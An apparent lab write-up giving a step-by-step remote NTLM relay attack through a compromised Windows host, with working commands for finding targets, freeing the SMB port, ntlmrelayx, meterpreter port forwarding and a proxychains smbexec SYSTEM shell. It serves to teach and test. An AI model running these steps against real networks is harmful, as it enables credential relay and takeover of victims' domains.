Remote NTLM Relay Attack | Relay through a Proxy

So SMB Relay Attack or NTLM Hash relaying is a well known attack in Active Directory environment. You set up something that listens for sessions, upon recieving one it doesn’t respond rather relays that connection to the victim. But what if you want to do it from a remote server that you just compromised and you want the relaying to happen in the remote network ? Well, here comes Remote NTLM Relay Attack.

👤 Requirements to do this

To conduct the attack successfully some things are needed :

1. A fully compromised machine on the targeted network from where we will conduct the attack. We need to have Administrator level permission on this machine.
2. The victim machine or machines on the targeted network must have SMB signing disabled.
3. A way to create remote port forward. I will use meterpreter here.

🍃 Lab Scenario

Let’s discuss what’s the present condition. We have a targeted subnet 10.200.95.0/24 where there are 3 machines.

• 10.200.95.35 : We have fully compromised this windows machine and we have Administrator access here. We also have a meterpreter session on this machine.
• 10.200.95.30 : This is the Domain Controller. One of our potential victims.
• 10.200.95.32 : Another machine on the network. One of our potential victims.

And lastly we have our attacking machine, a Kali Linux.

🌐 Now what’s the PLAN ?

We’ll first discover which of the potential victims have smb signing disabled. It’s required because while we relay the NTLM Session, if smb signing is enabled on the targeted host it will identify that these session wasn’t signed by us, so it will flag the session as malicious. Next we’ll prepare our compromised server’s SMB port for our use. To do that we will shut down every service on the SMB port so that it becomes free for us. Then we’ll start the ntlmrelayx tool from impacket that will actually relay the session. Finally we’ll set up a remote port forward that will forward the traffic from 10.200.95.35:445 to our Attack machines port 445 with -socks option.

This setup will forward any connection that comes to the compromised server’s port 445 10.200.95.35:445 to our Attack Machine’s port 445. Here we use ntlmrelayx tool to forward the connection back to our victim machine(s) and thus complete the Hash Relay.

🚓 Let’s Exploit Now !

Step 1: Identify the victims

To find out which victim(s) have smb signing disabled, we can use several tools. Let’s show you some :

• crackmapexec is a great tool to check that. As I have 2 potential victims, I will use the following command and look for the signing:false output. The machines with this output have smb signing disabled or enabled but not required. They both are same.

root@kali -> crackmapexec smb 10.200.95.30 10.200.95.32
SMB         10.200.95.30    445    DC-SRV01         [*] Windows 10.0 Build 17763 x64 (name:DC-SRV01) (domain:holo.live) (signing:False) (SMBv1:False)

• nmap port scan is another way to determine. I will launch a port 445 scan with nmap on the potential victims.

root@kali -> nmap 10.200.95.30 -p 445 -sC -sV -sT -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-09 21:02 EDT
Nmap scan report for 10.200.95.30
Host is up (0.00010s latency).

PORT    STATE SERVICE       VERSION
445/tcp open  microsoft-ds?

Host script results:
|_clock-skew: 1m25s
| smb2-time:
|   date: 2023-05-10T01:04:39
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

• Final tool is RunFinger from responder. It requires a ip list. So I just put the 2 ip in a file called ips.txt and used that.

root@kali -> responder-RunFinger -f ips.txt
[SMB2]:['10.200.95.30', Os:'Windows 10/Server 2016/2019 (check build)', Build:'17763', Domain:'HOLOLIVE', Bootime: 'Unknown', Signing:'False', RDP:'True', SMB1:'True', MSSQL:'True']

From the outputs I see 10.200.95.30 is the only machine with SMB Signing disabled. So this will be our victim !

Step 2 : Close everything on SMB Port

Now as we will use the SMB Port from the compromised server 10.200.95.35 , we will close every service running there to make it free. For that use a cmd access on the compromised server and execute the following commands.

sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled

And then restart the machine. If you have RDP access then just go to GUI and click start button and restart from there. If you have command line access then restart using the following command.

shutdown -r

Step 3 : Getting the Meterpreter Session

Now as we’ll create the port forward with meterpreter, we need a meterpreter shell on the Compromised machine. And this shell should have Administrative Privilege. Several ways to do that. Maybe generate a meterpreter payload with msfvenom, use a powershell downgrade attack with unicorn etc. It entirely depends on the environment you are facing.

Step 4 : Setup ntlmrelayx

Now we’ll set the tool up. I’m using latest python and impacket. So I’ll use the following command to target the smb protocol on the victim machine to relay whatever NTLM Session we get.

impacket-ntlmrelayx -t smb://10.200.95.30 -smb2support -socks

Using the -socks flag actually keeps the recieved sessions running so that we can use them whenever. Instead you can use -i to spawn up an interactive session. Or use no flag at all to dump the SAM Database given that the NTLM session you relayed is one of the Local Administrator on the targeted victim machine.

Step 5 : Setup the remote port forward

After getting the shell create a port forward with the following command that forwards all traffic from remote 445 to our local 445.

portfwd add -R -L 0.0.0.0 -l 445 -p 445

Right after this port forward, the traffic should start rolling in. It might take some time depending on how busy and big the network is. But usually right after lunch is the best time to execute this attack as a lot of people start using their computer and things happen that can trigger this exploit.

After waiting for a bit, we receive a connection in our ntlmrelayx tool that says something like this :

ntlmrelayx> [*] SMBD-Thread-18 (process_request_thread): Received connection from 127.0.0.1, attacking target smb://10.200.95.30
[-] Unsupported MechType 'MS KRB5 - Microsoft Kerberos 5'
[*] Authenticating against smb://10.200.95.30 as HOLOLIVE/SRV-ADMIN SUCCEED
[*] SOCKS: Adding HOLOLIVE/SRV-ADMIN@10.200.95.30(445) to active SOCKS connection. Enjoy

So there’s a socks connection opened for us. Now if you used other flags like -i it would have opned an interactive connection or if no flag then it would have dumped the hashes.

Step 6 : Use proxychains for everything

Now we can use this socks connection through a tool like proxychains to do anything with it. To utilize that we’ll edit our /etc/proxychains.conf file and add socks4 127.0.0.1 1080 at the end of it. It just means whenever we are interacting with this socks connection we’ll use localhost:1080 as our proxy server. Because ntlmrelayx actually opened the server on this port.

So just use any tool with proxychains now. For example to get a shell I used the following command :

root@kali -> proxychains impacket-smbexec -no-pass HOLOLIVE/SRV-ADMIN@10.200.95.30

Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>

Happy Hacking !